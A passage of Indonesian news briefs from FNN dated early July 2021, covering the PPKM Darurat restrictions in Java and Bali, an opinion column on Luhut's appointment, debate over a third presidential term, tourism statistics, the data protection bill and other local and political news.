Mulyani. (mth)

SUPSEMAR Jokowi kepada Luhut

By M Rizal Fadillah Bandung, FNN - Menko Marinves Luhut Binsar Panjaitan ditunjuk sebagai Koordinator PPKM Darurat untuk Jawa dan Bali sementara Menko Perekonomian Airlangga Hartarto untuk di luar Jawa dan Bali. Khususnya penunjukan Luhut menjadi perhatian menarik karena untuk kesekian kali Jokowi mempercayakan pekerjaan strategis kepada Luhut Binsar Panjaitan. Publik menilai "Luhut Lagi Luhut Lagi". Apakah keadaan ini menjadi sinyal dari peristiwa semacam Super Semar sebagaimana saat Presiden Soekarno membuat Surat Perintah Sebelas Maret kepada Soeharto ? Mungkin terlalu jauh, tetapi bisa juga didekatkan. Kondisi yang diprediksi adalah Jokowi memang panik dengan penanganan pandemi Covid 19 yang dinilai gagal. Alih alih menurun nyatanya semakin melonjak tingkat keterpaparan masyarakat. Rumah sakit dan Rumah Isolasi merata penuh. Memang Luhut dan Airlangga yang menjadi Koordinator. Luhut tentu lebih dominan di samping seloroh "Luhut Lagi Luhut Lagi", juga Luhut ini dipandang sebagai "The Real President" atas pengaruh besarnya dalam pemerintahan Jokowi. Dalam hubungan dominan dengan RRC, Luhut menjadi LO nya. Proteksi atas nama investasi mampu mengabaikan kritik dan kegelisahan rakyat. Luhut adalah benteng pertahanan Jokowi. Pandemi menjadi beban berat Jokowi. Uang yang digunakan sangat besar, hutang membengkak, ekonomi tidak bergerak, investasi macet, dan lempar-lemparan kue tidak membantu. Korupsi juga terjadi dan mungkin juga saweran komisi. Prediksi normal kembali ternyata tak terealisasi bahkan Jokowi menyatakan jujur "ngeri dan gemetar" melihat BOR tinggi Wisma Atlet yang 92 % bed terisi. Di tengah pandemi yang membuat ngeri dan gemetar, Jokowi terus diserang kritik dari delapan penjuru angin. Mulai gelar pembual hingga desakan untuk mundur. Suara desakan semakin terdengar nyaring. Kepercayaan rakyat yang semakin melemah dan upaya untuk memperpanjang jabatan menjadi tiga periode mendapat perlawanan. Pandemi tidak mampu meng-upgrade kewibawaan karena tidak menggaet hati rakyat. Fikiran hanya ekonomi dan bisnis. Padahal pertumbuhan ekonomi ambruk. Pandemi menyalakan sinyal bahaya dan Jokowi mulai panik. Penunjukkan Luhut dan Airlangga adalah wujud dari kepanikan itu. Airlangga masih bersinetron ikatan cinta, Luhut lebih serius. Kepanikan adalah kegoyahan. Antisipasi disiapkan melalui amandemen perpanjangan, dekrit beralasan pandemi, serta "Super Semar". Luhut adalah orang Presiden yang paling dipercaya setelah kepercayaan lain Moeldoko ambyar. Pengalihan kekuasaan secara bertahap dimulai. Ujiannya dengan penanganan Jawa dan Bali. Luhut sangat siap. Semar adalah ayah Gareng, Petruk, dan Bagong (Jawa) atau Cepot, Dawala, dan Gareng (Sunda). Petruk atau Dawala berhidung panjang. Mereka ada dalam dunia pewayangan sebagai Punakawan. Kapan muncul dan kapan disimpan ditentukan oleh sang Dalang. Semar yang sakti tergantung Dalang yang "super". Jadi Super Semar akan dikeluarkan tergantung Dalang yang mengatur lakon permainan di Istana. Penunjukan Luhut Binsar Panjaitan apakah menjadi sinyal bahwa kedaruratan pandemi telah bergeser menjadi kedaruratan ekonomi dan politik sehingga diperlukan semacam Super Semar itu ? Dalang yang tentu lebih tahu. *) Pemerhati Politik dan Kebangsaan

La Nyalla Harapkan Polri Jadi Garda Terdepan Tangani Covid19

Jakarta, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti mengatakan Kepolisian Republik Indonesia (Polri) merupakan salah satu garda terdepan dalam upaya penanganan pandemi COVID-19 di Tanah Air. "Saya mengucapkan selamat Hari Bhayangkara ke-75 kepada jajaran Polri. Apresiasi yang tinggi juga kami sampaikan atas kerja keras Polri memberikan pelayanan terbaik dalam menangani pandemi COVID-19," kata dia melalui keterangan tertulis yang diterima di Jakarta, Kamis. Ketua DPD asal Jawa Timur tersebut berharap Polri terus berjuang membantu pemerintah agar Indonesia segera keluar dari pandemi COVID-19. Selain itu, DPD juga mendukung penuh upaya Polri melakukan vaksinasi kepada masyarakat. Seluruh Kepolisian Daerah (Polda) di berbagai wilayah bisa melakukan jemput bola agar realisasi target vaksinasi COVID-19 massal seperti yang dilakukan Polda Metro Jaya tercapai. Keseriusan Pori dalam upaya penanganan pandemi COVID-19 juga terlihat dari capaian keberhasilan vaksinasi 1,2 juta kepada masyarakat. LaNyalla berpesan agar Polri tetap mengedepankan pendekatan yang merakyat terutama saat pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat diterapkan. Dibutuhkan kesabaran ekstra untuk menghadapi masyarakat yang merasa berat dengan adanya kebijakan tersebut. "Polri harus tetap humanis tapi sekaligus bertanggung jawab dalam menjalankan tugasnya," ujar eks Ketua Persatuan Sepakbola Seluruh Indonesia (PSSI) tersebut. Di masa pandemi COVID-19 dibutuhkan polisi yang tegas tapi juga harus mengedepankan sisi sebagai pengayom masyarakat, kata dia. Ia pun mengingatkan pesan Presiden Joko Widodo yang meminta Polri membenahi dan memperkuat manajemen dan kelembagaan. Dengan manajemen dan kelembagaan yang baik, institusi Polri akan semakin baik Meskipun saat ini Polri banyak melakukan tugas dan penanganan pandemi COVID-19 akan tetapi diminta tidak lengah dengan tugas-tugas lainnya. "Kami berharap Polri bisa bekerja dengan profesional dalam berbagai kewenangan yang dimilikinya," ujarnya. Pada kesempatan itu ia memberikan apresiasi berbagai capaian kinerja Polri di bawah kepemimpinan Kapolri Jenderal Listyo Sigit. Polri dinilai memiliki banyak terobosan khususnya dalam menyambut Era Police 4.0. Berbagai program berbasis digital yang dikeluarkan di antaranya aplikasi SIM online nasional presisi (SINAR) untuk memperpanjang masa berlaku surat izin mengemudi (SIM). Terobosan lainnya ialah penerapan surat keterangan catatan kepolisian (SKCK) secara daring, penerapan surat pemberitahuan perkembangan hasil penyidikan (SP2HP) online untuk sentra pelayanan kepolisian terpadu (SPKT) dan lain sebagainya. (sws)

Pimpinan MPR: Wacana Presiden 3 Periode Ubah Konstelasi Politik

Jakarta, FNN - Wakil Ketua MPR RI Jazilul Fawaid mengatakan perubahan periodesasi masa jabatan presiden dari dua periode menjadi tiga periode dapat mengubah konstelasi politik nasional. Hal itu disampaikan Jazilul saat menjadi narasumber dalam acara Ngaji Kebangsaan dengan tema ”Membaca Aspirasi Warga Nahdiyin dan Nasionalis pada Pilpres 2024” secara virtual yang digelar Forum Cendekiawan Muslim Muda (FCMM), Kamis. ”Kalau perubahan muncul, Pilpres 2024 beda cara bacanya karena Pak Jokowi bisa maju lagi. Mudah-mudahan konstitusi tidak ada perubahan terkait dengan masa jabatan presiden sebab itu luar biasa dampak, efeknya terhadap partai politik untuk menyongsong Pilpres 2024,” katanya Jazilul dalam siaran pers yang diterima di Jakarta. Wacana yang beredar di ruang publik saat ini, lanjut dia, adalah perubahan periodesasi masa jabatan presiden dari dua periode menjadi tiga periode serta menjadi 8 tahun setiap periodenya. Menurut pria yang akrab disapa Gus Jazil ini, hingga saat ini belum ada pengajuan resmi ke MPR soal wacana tersebut. "Ini santer juga isu amendemen UUD. Terus terang saya sampaikan sampai hari ini, di MPR yang sedang dikaji hanya soal memasukkan Pokok-Pokok Haluan Negara. Kalau soal usulan perpanjangan masa jabatan presiden, belum ada secara resmi," ujar Gus Jazil. Karena sampai hari ini belum ada pengajuan secara resmi ke MPR, secara konstitusi Jokowi tidak bisa maju lagi sebagai calon presiden pada pemilu mendatang. Ia mengutarakan bahwa banyak tokoh yang punya hak konstitusional menjadi presiden. "Kalau di PKB, memiliki Ketum Abdul Muhaimin Iskandar, panglima santri, tentu kami menimbang-nimbang, berfpkir serius memohon masukan Forum Cendekiwan Muslim Muda apakah sudah waktunya maju atau ada saran-saran yang bisa kami terima," kata Gus Jazil. Gus Jazil mengatakan bahwa hanya PDIP yang memiliki peluang mengusung sendiri. Namun, karena Indonesia yang majemuk ini, kemungkinan PDIP tidak akan mengusung sendirian karena untuk mengatur bangsa sebesar ini masa sendirian. Karena pada Pilpres 2024 kemungkinan tidak ada calon petahana, partai politik memiliki tugas untuk mencari sosok yang mampu memberikan harapan baru untuk mengatasi keadaaan saat ini. Ia mengaku belum bisa membaca apakah pada tahun 2024 pandemi sudah selesai. Masalahnya, banyak yang mengatakan pandemi turun Juli ini tetapi justru meningkat. "Pilpres 2024 akan dibayang-bayangi oleh dampak dari pandemi. Siapa pun calon presidennya harus mampu mengatasi dampak pandemi, baik dampak kesehatan maupun ekonomi," katanya. Terkait dengan isu politik aliran sesuai dengan tema yang dibahas dalam webinar tersebut, Gus Jazil mengatakan bahwa pascareformasi politik aliran mulai mengendur. Saat ini tantangan yang berat dan bisa menjadi benalu demokrasi adalah praktik politik transaksional. "Zaman Bung Karno kuat politik ideologi, politik aliran. Hari ini yang popular adalah politik transaksional, itu yang popular dan itu penyakit," ujarnya. Sejak 2015, lanjut dia, pemerintah sudah memutuskan adanya Hari Santri Nasional (HSN) sehingga tidak perlu ada lagi pemisahan antara kaum santri dan nasionalis. ”Nahdiyin itu pasti nasionalis. Santri itu pasti nasionalis. Kalau santri tidak nasionalis, itu berarti bukan nahdiyin. Di mana-mana digaungkan NKRI harga mati, Pancasila Jaya," katanya. Gus Jazil berharap diskusi yang dilakukan FCMM bisa memberikan masukan untuk mematangkan format dan harapan bangsa ke depan. ”Kalau PDIP sudah pasang gambar Bu Puan di mana-mana, itu kami hormati sebagai bagian pendidikan politik karena seorang figur memang harus muncul untuk menyampaikan visi dan misi. Tidak perlu malu-malu karena itu memang cara berpolitik yang ada," katanya. Menurut dia, pandemi COVID-19 tidak akan menghalangi bangsa untuk mencari cocok pemimpin yang terbaik. "Pada hari ini belum kelihatan sosoknya. Kalau puasa gitu hilal belum kelihatan, jadi belum bisa dibaca siapa sosok capres. Namun, setidaknya bisa membuat harapan ciri-ciri siapa yang paling pas. Saat ini sosoknya siapa masih kabur," tutur Gus Jazil. (sws)

Arsjad Rasjid Ditetapkan Sebagai Ketua Kadin 2021-2026

Kendari, FNN - Direktur Utama PT Indika Energy Tbk, Arsjad Rasjid ditetapkan sebagai Ketua Umum Kamar Dagang dan Induatri (Kadin) Indonesia periode 2021-2026 menggantikan Rosan Perkasa Roeslani. "Alhamdulillah kita baru saja melewati proses persidangan dalam acara Munas Kadin Indonesia pada tahun 2021 ini. Alhamdulillah bapak-bapak, ibu-ibu sekalian telah memberikan amanah kepada saya untuk menjadi Ketua Umum Kadin Indonesia 2021-2026," kata Arsjad di hadapan peserta Munas ke VIII Kadin di Kendari, Kamis. Meski demikian, Arsjad menyampaikan bahwa Kadin mempunyai tantangan ke depan yakni bagaimana bersinergi bersama pemerintah dalam menangani COVID-19 dan membantu pemerintah meningkatkan perekonomian. "Yang ingin saya katakan tantangan kita ke depan sangatlah berat apa yang telah dikatakan oleh Presiden Joko Widodo bahwa pada saat ini kita masih mempunyai tantangan yang namanya COVID-19, ini adalah suatu tantangan bagaimana kita bisa mengatasinya," ujar dia. Arsjad menyampaikan, saat ini Kadin Indonesia telah melaksanakan program vaksinasi gotong royong yang sudah dimulai oleh kepengurusan Kadin sebelumnya periode 2015-2021 dan program itu akan dilanjutkan oleh pihaknya. "Namun lebih lanjut lagi ke depannya kita juga bersama-sama harus melaksanakan bersama-sama program apa saja yang harus kita lakukan untuk menghadapi ekonomi Indonesia ke depan. Bagaimana kita bisa bekerjasama dengan pemerintah contohnya bagian perdagangan, industri dan investasi," kata Arsjad. Arsjad berkomitmen akan menciptakan pengusaha baru karena pengusaha akan menciptakan lapangan pekerjaan dan mengembangkan pelaku usaha mikro kecil dan menengah (UMKM) hingga ke daerah-daerah termasuk akan mendorong investor agar masuk ke daerah-daerah. "Bagaimana setiap investasi itu bisa diupayakan untuk setiap UMKM atau usaha mikro kecil dan menengah supaya bisa bersama-sama membangun dan juga mendapatkan investasi agar yang namanya roda ekonomi ini bisa berjalan," katanya. Ia juga mengajak semua pengurus Kadin untuk bersama-sama memajukan Kadin ke depannya. "Kepada pengurus-pengurus Kadin Indonesia yang telah berbakti 2015-2021 saya juga akan mengajak dan melihat siapa yang bisa berpartisipasi bersama untuk bisa mengurus Kadin Indonesia karena disini tidaklah bisa kita bekerja sendiri," katanya. (sws)

Kebon Binatang Bandung Buka Donasi untuk Beli Pakan

Bandung, FNN - Pengelola Kebun Binatang Bandung atau Bandung Zoological Garden (Bazoga) melakukan penggalangan sumbangan untuk menyediakan pakan bagi satwa penghuni kebun binatang. Kebun Binatang Bandung ditutup untuk umun dari 1 sampai 14 Juli 2021 dan selama penutupan kebun binatang pengelola membuka saluran donasi bagi warga yang ingin membantu menyediakan pakan bagi sekitar 850 satwa yang ada di kebun binatang di Jalan Taman Sari Kota Bandung. "Bantuan pakan untuk satwa yang kami terima dari donatur bisa juga berupa daging sapi, daging ayam, buah-buahan, sayur-sayuran, dan pakan satwa lainnya," kata Marketing Communication Bandung Zoological Garden Sulhan Syafi'i dalam siaran pers pengelola kebun binatang, Kamis. Warga yang ingin memberikan sumbangan bisa datang langsung ke Kebun Binatang Bandung. Sulhan menjelaskan, menurut Peraturan Wali Kota No. 3 Tahun 2021 objek wisata termasuk Kebun Binatang Bandung harus ditutup dari 17 hingga 30 Juni 2021 dan penutupan objek wisata kemudian dilanjutkan sampai 14 Juli 2021. "Setelah Lebaran kemarin memang ada penutupan sekali selama 10 hari kemudian ditutup lagi pada tanggal 17 Juni hingga tanggal 30 Juni 2021, kemudian dilanjutkan lagi periode 1 Juli sampai 14 Juli 2021," kata dia. Penutupan Kebun Binatang Bandung untuk umum membuat pengelola kesulitan memenuhi kebutuhan operasional kebun binatang, termasuk kebutuhan pakan satwa. Kebun Binatang Bandung setiap hari harus menyediakan pakan bagi sekitar 850 satwa. "Setiap hari kita harus memberi satwa makan dan juga perawatan kesehatan yang nilainya hampir sekitar Rp300 jutaan per bulan. Artinya kita cukup menguras kantong tabungan perusahaan," kata Sulhan. Ia menjelaskan bahwa selama kebun binatang ditutup, pengelola tidak menerima pemasukan sama sekali dan harus tetap mengeluarkan dana untuk gaji pegawai, pakan satwa, dan pemeliharaan satwa. Menurut dia, pengelola Kebun Bintang Bandung sudah memotong gaji 84 karyawan untuk memperkecil pengeluaran. "Karenanya manajemen dengan tangan terbuka bila ada yang pihak yang ingin membantu menyumbangkan pakan untuk satwa," kata dia. Ia mengemukakan bahwa pengelola kebun binatang sudah berupaya melakukan modifikasi dan penyesuaian guna menghemat biaya penyediaan pakan satwa namun upaya itu harus dilakukan dengan tetap memperhatikan kesehatan satwa. "Faktor kesehatan juga harus dilihat dalam modifikasi pakan karena jangan sampai modifikasi atau pengurangan berdampak pada kesehatan satwa," kata Sulhan. Ia menambahkan, pengelola Kebun Binatang Bandung juga melakukan penggalangan sumbangan untuk menyediakan pakan satwa semasa penutupan kebun binatang periode Maret sampai Juni tahun 2020. (sws)

Kerumunan Euro 2020 Picu Kenaikan Infeksi Covid-19 di Eropa

Kopenhagen, FNN - Organisasi Kesehatan Dunia (WHO) menyatakan, kerumunan orang di stadion-stadion sepak bola Euro 2020 serta di pub dan bar telah memicu peningkatan infeksi COVID-19 di Eropa. Penurunan kasus virus corona selama 10 minggu di kawasan tersebut telah berakhir dan gelombang infeksi baru tidak dapat dihindari jika penggemar sepak bola dan lainnya lengah, kata WHO. "Kita perlu melihat lebih dari sekadar stadion itu sendiri," kata petugas darurat senior WHO Catherine Smallwood kepada wartawan, Kamis. Pekan lalu, jumlah kasus baru naik 10 persen, dipicu oleh pencampuran kerumunan di kota-kota tuan rumah Euro 2020, perjalanan dan pelonggaran pembatasan sosial, kata WHO. “Kita perlu melihat bagaimana orang-orang sampai di sana, apakah mereka bepergian dengan konvoi bus besar yang penuh sesak? Dan ketika mereka meninggalkan stadion, apakah mereka pergi ke bar dan pub yang ramai untuk menonton pertandingan? Peristiwa kecil terus-menerus inilah yang mendorong penyebaran virus," ujar Smallwood. Menteri Dalam Negeri Jerman Horst Seehofer menegaskan, keputusan badan sepak bola Eropa UEFA untuk mengizinkan kerumunan besar di Euro 2020 "sama sekali tidak bertanggung jawab". UEFA mengatakan dalam sebuah pernyataan kepada Reuters bahwa langkah-langkah mitigasi di kota-kota tuan rumah "sepenuhnya selaras dengan peraturan yang ditetapkan oleh otoritas kesehatan masyarakat setempat yang kompeten". Peningkatan kasus COVID-19 baru terjadi karena varian virus Delta yang lebih menular menyebar dengan cepat ke seluruh Eropa. Hampir 2.000 orang yang tinggal di Skotlandia telah menghadiri acara Euro 2020 saat terinfeksi COVID-19, dengan banyak yang menghadiri pertandingan penyisihan grup melawan Inggris di London pada 18 Juni, kata pihak berwenang Skotlandia, Rabu (30/6). Peningkatan infeksi telah menimbulkan kekhawatiran bahwa gelombang ketiga dapat menyebar ke seluruh Eropa pada musim gugur jika orang tidak divaksin. "Kekhawatiran akan lonjakan musim gugur masih ada, tetapi apa yang kita lihat sekarang adalah bahwa itu mungkin datang lebih awal," kata Smallwood. (sws)

PPKM Darurat Berlaku di Jawa-Bali Mulai 3- 20 Juli 2021

Jakarta, FNN - Dengan terus meningkatnya kasus konfirmasi positif dalam satu minggu terakhir, maka diputuskan untuk menerapkan kebijakan PPKM Darurat Jawa Bali dari tanggal 3 - 20 Juli 2021,” tegas Menteri Koordinator Bidang Kemaritiman dan Investasi (Menko Marves) Luhut B. Pandjaitan dalam Press Conference yang dilaksanakan pada Kamis (01 - 07 - 2021). PPKM Darurat yang diterapkan di Pulau Jawa dan Bali mengikuti kriteria penilaian acuan World Health Organization (WHO) berdasarkan indikator laju penularan dan kapasitas respon. WHO membaginya kedalam 4 level, berdasarkan kasus konfirmasi, perawatan rumah sakit, tingkat kematian, serta 3T (testing, tracing, dan treatment). Saat ini, terdapat 74 Kabupaten/Kota di Pulau Jawa dan Bali yang berada di level 3, dan 48 Kabupaten/Kota yang berada di level 4. “Cakupan pengetatan aktivitas dalam PPKM Darurat ini meliputi banyak hal, baik sektor pekerjaan, kegiatan belajar mengajar, perbelanjaan, fasilitas umum, transportasi umum, dan berbagai aktivitas masyarakat,” ungkap Menko Luhut. Aktivitas perkantoran diminta untuk menerapkan 100% work from home (WFH). Khusus untuk sektor esensial seperti keuangan dan perbankan, pasar modal, industri oreintasi ekspor, dan lainnya dapat menerapkan maksimal 50% work from office (WFO). Sedangkan untuk sektor kritikal seperti energi, kesehatan, keamanan, logistik dan transportasi, dan industri pemenuhan kebutuhan pokok masyarakat diperbolehkan menerapkan 100% WFO dengan menerapkan protokol kesehatan yang ketat. Kegiatan pada pusat perbelanjaan seperti mall dan pusat perdagangan, tempat ibadah, fasilitas umum, dan kegiatan seni budaya, olahraga dan sosial kemasyarakatan sementara akan ditutup. Pelaksanaan resepsi pernikahan masih bisa dilaksanakan dengan maksimal tamu sebanyak 30 (tiga puluh) orang. Transportasi umum juga masih bisa diberlakukan dengan pengaturan kapasitas maksimal 70% dengan penerapan protokol kesehatan yang ketat. “Untuk peraturan pelaku perjalanan dengan moda transportasi jarak jauh, seperti pesawat, bis, dan kereta api, harus menunjukkan kartu vaksin (minimal vaksin dosis pertama) dan bukti PCR H-2 untuk pesawat, serta Antigen H-1 untuk moda transportasi jarak jauh lainnya,” tambah Menko Luhut. Ia juga menegaskan bahwa Satpol PP Pemerintah Daerah, TNI, dan Polri akan diminta melakukan pengawasan yang ketat terhadap pemberlakuan pengetatan aktivitas masyarakat. Penguatan sistem 3T (Testing, Tracing, Treatment) juga akan diterapkan, dengan meningkatkan testing mencapai 1/1000 penduduk per minggu, dan tracing sampai mencapai lebih dari 15 kontak erat per kasus konfirmasi. Treatment juga akan dilakukan dengan komprehensif sesuai dengan berat gejala. Hanya gejala sedang, berat, dan kritis yang perlu dirawat di rumah sakit, dan isolasi akan diperketat untuk mencegah penularan. “Pemerintah akan terus meningkatkan jumlah vaksinasi. Pencapaian target vaksinasi saat ini sebesar 70% dari total populasi pada kota/kabupaten prioritas paling lambat bulan Agustus 2021,” ujar Menko Luhut. Diharapkan melalui penerapan PPKM Darurat ini dapat mengurangi laju kenaikan kasus konfirmasi positif di Indonesia. Selain itu, Menko Luhut juga memastikan bahwa pemerintah akan kembali memberikan bantuan sosial kepada masyarakat yang terkena dampak selama pemberlakuan PPKM Darurat. “Selama PPKM Darurat, pemerintah akan meningkatkan bantuan sosial kepada masyarakat yang terkena dampak, dan kita juga mengusahakan tingkat kemiskinan juga dapat terjaga meskipun ada PPKM darurat. Pemerintah akan melakukan yang terbaik atas nama rakyat demi menjaga keselamatan, kesehatan dan juga kesejahteraan masyarakat imbas dari PPKM Darurat ini. Untuk itu saya minta bantuan dari para Menteri terkait dan jajaran supaya memastikan bantuan sosial dapat disalurkan dengan cepat dan tepat sasaran,” terang Menko Luhut. (sws)

Dishub NTT: Dimonim Air Layani Penerbangan Kupang-Pantar Mulai 5 Juli

Kupang, FNN - Kepala Dinas Perhubungan (Dishub) Provinsi Nusa Tenggara Timur Isyak Nuka mengatakan maskapai Dimonim Air segera melayani rute penerbangan Kota Kupang-Pulau Pantar Kabupaten Alor mulai 5 Juli 2021. "Layanan penerbangan perintis Kupang-Pantar ini adalah gembira bagi kita karena membuka kesempatan untuk kemajuan pembangunan di Pulau Pantar dan sekitarnya," katanya kepada Antara di Kupang, Kamis. Layanan penerbangan Kupang-Pantar, kata dia, segera beroperasi karena infrastruktur Bandara Kabir di Pulau Pantar yang dibangun sejak 2014 dengan menelan biaya APBD senilai Rp103 miliar telah siap dimanfaatkan. Isyak Nuka mengatakan maskapai Dimonim Air yang akan melayani penerbangan perintis tersebut mulai 5 Juli 2021 itu. Layanan penerbangan ini akan berlangsung dua kali dalam seminggu yakni pada Senin dan Rabu dengan harga tiket Rp300.000-an. Menurut dia, layanan penerbangan tersebut memberikan manfaat besar terutama memudahkan mobilisasi barang dan orang sehingga aktivitas pembangunan di sektor jasa, perdagangan, pendidikan, dan sebagainya bisa bertumbuh lebih cepat. "Masyarakat Pantar dan sekitarnya juga kini memiliki alternatif jasa transportasi langsung ke Kupang tanpa harus menyeberang melalui Kalabahi (ibu kota Kabupaten Alor)," katanya. Selain itu, lanjut Isyak Nuka, layanan penerbangan ini juga membuka kesempatan bagi masuknya investasi untuk kemajuan pembangunan daerah. Sektor pariwisata, perikanan, dan pertanian dan lainnya di Pulau Pantar dan sekitar juga bisa berkembang lebih cepat karena akses transportasi yang semakin lancar. "Para calon investor yang mau berinvestasi di Pulau Pantar juga tentu semakin dimudahkan karena akses transportasi udara yang sudah terbuka," katanya. (mth)

BPS: Kunjungan Wisman Mei 2021 Turun 3,85 Persen Akibat Pandemi

Jakarta, FNN - Kepala Badan Pusat Statistik (BPS) Margo Yuwono mengatakan kunjungan wisatawan mancanegara (wisman) pada Mei 2021 masih terkendala pembatasan mobilitas akibat pandemi COVID-19, tercermin dari jumlah kunjungan yang turun 3,85 persen dibandingkan dengan jumlah kunjungan pada Mei 2020. "Sangat jelas bahwa kunjungan wisman masih terganggu atau terkendala mobilitas pelarangan yang masih berlaku. Selama 2021 kondisinya lebih rendah dibandingkan 2020, maupun kondisi normal," kata Kepala BPS Margo Yuwono saat konferensi pers secara virtual di Jakarta, Kamis. Margo memaparkan, jumlah kunjungan wisman ke Indonesia pada Mei 2021 turun 3,85 persen dibandingkan dengan jumlah kunjungan Mei 2020 yaitu menjadi 155.610 kunjungan dari 161.840 kunjungan. Meskipun, jika dibandingkan dengan bulan sebelumnya, yaitu April 2021, jumlah kunjungan wisman Mei 2021 mengalami peningkatan 24,48 persen. Dari sejumlah 155.610 kunjungan wisman pada Mei 2021, wisman yang datang dari wilayah Afrika memiliki persentase kenaikan paling tinggi yaitu sebesar 571,43 persen jika dibandingkan dengan kunjungan wisman pada Mei 2020. Di sisi lain, wisman yang datang dari wilayah ASEAN mengalami penurunan 24,07 persen. Jika dilihat berdasarkan kebangsaan, wisman yang datang ke Indonesia paling banyak berasal dari Timor Leste sebanyak 80.140 kunjungan atau 51,50 persen; diikuti Malaysia 49.070 kunjungan atau 31,54 persen; dan China 5.200 kunjungan atau 3,34 persen. Secara kumulatif pada Januari–Mei 2021, kunjungan wisman mencapai 664.540 kunjungan atau turun 77,62 persen dibandingkan dengan jumlah kunjungan wisman pada periode yang sama tahun sebelumnya yang berjumlah 2,97 juta kunjungan. Jumlah kunjungan wisman Januari–Mei 2021 terdiri atas wisman yang berkunjung melalui pintu masuk udara sebanyak 5.406 kunjungan, pintu masuk laut sebanyak 196.110 kunjungan, dan pintu masuk darat sebanyak 414.370 kunjungan. (mth)

Anggota DPR: Kelanjutan Pembahasan RUU PDP Tunggu Iktikad Pemerintah

Jakarta, FNN - Anggota Komisi I DPR RI Sukamta mengatakan kelanjutan pembahasan Rancangan Undang-Undang Perlindungan Data Pribadi (RUU PDP) kembali pada iktikad baik Kementerian Komunikasi dan Informatika (Kominfo) sebagai representasi pemerintah. Hal itu, menurut Sukamta, karena perbedaan sikap antara Komisi I DPR dan pemerintah terkait dengan penempatan lembaga otoritas pengawas data pribadi. "Belum adanya titik temu antara sikap Kominfo yang berkeras untuk menempatkan lembaga otoritas pengawas data pribadi di bawah kementerian dengan sikap Komisi 1 DPR yang menghendaki lembaga tersebut berada di bawah Presiden menyebabkan pembahasan RUU PDP mengalami deadlock," kata Sukamta di Jakarta, Kamis. Sukamta menilai lembaga atau badan pengawas data pribadi sangat strategis untuk memastikan upaya perlindungan data pribadi bisa berjalan sesuai dengan standar. Selain itu, kata dia, ada risiko penyimpangan yang bisa muncul karena saat ini data pribadi nilainya sangat mahal sehingga keberadaan lembaga itu semestinya ada di bawah Presiden untuk memastikan kewengannya kuat dan mampu berjalan lebih independen sebagai lembaga pengawas. "Kalau berada di bawah Kominfo, saya meragukan nantinya bisa berjalan secara optimal," ujarnya. Menurut dia, pertimbangan yang tidak kalah strategis adalah agar lembaga pengawas itu setara dengan standar internasional, yaitu setara dengan standar General Data Protection Regulation (GDPR). Kalau sesuai dengan standar internasional, lanjut Sukamta, data WNI di Eropa akan diperlakukan dan diberikan perlindungan oleh GDPR. Sementara itu, jika tidak independen, itu dianggap tidak standar. "Saat ini banyak negara melakukan revisi atas peraturan perlindungan data pribadinya untuk diadaptasi dengan GDPR," katanya. Anggota Panita Kerja (Panja) RUU PDP itu menilai pembentukan lembaga atau badan pengawas itu sangat penting karena banyak rujukan teknis tentang kewajiban pengendali data yang diatur di dalam RUU PDP. "Kewajiban itu terkait dengan pengelolaan data pribadi masyarakat yang sangat penting," katanya menegaskan. Dalam hal ini, kata Sukamta, masyarakat menyerahkan data mereka untuk dikelola, mulai data yang bersifat umum hingga bersifat spesifik, seperti data informasi kesehatan, data biometrik, data genetika, kehidupan seksual, pandangan politik, data keuangan, dan catatan kejahatan. Sukamta menilai semua data tersebut berharga karena itu tanggung jawab pengelola data sangat besar sehingga lembaga pengawas juga harus memiliki otoritas yang kuat agar mampu menjadi lembaga kontrol yang efektif. (mth)

Presiden Jokowi Minta Masyarakat Tetap Tenang Selama PPKM Darurat

Jakarta, FNN - Presiden RI Joko Widodo meminta masyarakat tetap tenang selama penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat di Pulau Jawa dan Bali pada 3-20 Juli 2021. "Saya minta masyarakat tetap tenang dan waspada mematuhi ketentuan-ketentuan yang ada," ujar Presiden Jokowi saat menyampaikan keterangan pers virtual terkait pemberlakuan PPKM Darurat, dari Istana Merdeka, Jakarta, Kamis. Presiden meminta masyarakat tetap berdisiplin menjalankan protokol kesehatan dan mendukung kerja aparat pemerintah dan relawan dalam menangani pandemik COVID-19. Dengan kerja sama yang baik seluruh pihak dan dengan ridha Allah SWT, Presiden meyakini Indonesia bisa menekan penyebaran dan memulihkan kehidupan masyarakat secara cepat. Presiden menyampaikan keputusan penerapan PPKM Darurat diambil setelah mendapat banyak masukan dari menteri, ahli kesehatan dan kepala daerah, terkait perkembangan COVID-19 yang sangat cepat karena varian baru yang juga menjadi persoalan serius di banyak negara. Adapun PPKM Darurat akan meliputi pembatasan-pembatasan aktivitas masyarakat yang lebih ketat dari yang selama ini sudah berlaku. ​​​Presiden telah meminta Menteri Koordinator bidang Kemaritiman dan Investasi Luhut Pandjaitan untuk menjelaskan secara detail mengenai PPKM Darurat tersebut. (mth)

Kementan Dorong Penggunaan Aplikasi IMACE Permudah Skspor Pertanian

Jakarta, FNN - Menteri Pertanian (Mentan) Syahrul Yasin Limpo mengatakan Kementerian Pertanian (Kementan) mendorong penggunaan aplikasi IMACE (Indonesia Maps of Agricultural Commodities Export) yang mempertemukan pelaku usaha agribisnis dengan petani guna mempermudah ekspor produk pertanian. “Berbagai kemajuan digital menjadi peluang bagi hadirnya modernisasi aktivitas termasuk di sektor pertanian, dan kemajuan era ini harus kita manfaatkan,” kata Menteri Pertanian (Mentan) Syahrul Yasin Limpo melalui keterangan tertulis, Kamis. IMACE merupakan aplikasi digital yang dikembangkan oleh Badan Karantina Pertanian (Barantan) Kementan dan lolos menjadi salah satu 99 Top Inovasi dari Sinovik Tahun 2021 yang digelar Kementerian Pemberdayaan Aparatur Sipil Negara dan Reformasi Birokrasi (Kemenpanrb) dan maju pada tahap berikutnya. Aplikasi IMACE menyajikan informasi data ekspor pertanian real-time. Selain itu, aplikasi ini juga menyajikan data pemetaan potensi komoditas pertanian ekspor di daerah sentra dan menjadi input dalam pemberdayaan masyarakat. Aplikasi tersebut bisa diakses melalui situs web dan android. Pada awal pengembangan, inovasi ini ditujukan untuk mendukung Gerakan Tiga Kali Lipat Ekspor Pertanian (Gratieks) dalam meningkatkan kinerja ekspor pertanian. Dalam kurun waktu lebih dari satu tahun, aplikasi yang telah digunakan di sembilan provinsi ini telah dapat mendorong performa kinerja ekspor. Berdasarkan data rilis Badan Pusat Statistik (BPS) Tahun 2020 peningkatan ekspor pertanian tercatat sebesar 15,2 persen dibandingkan kinerja tahun sebelumnya. Barantan juga 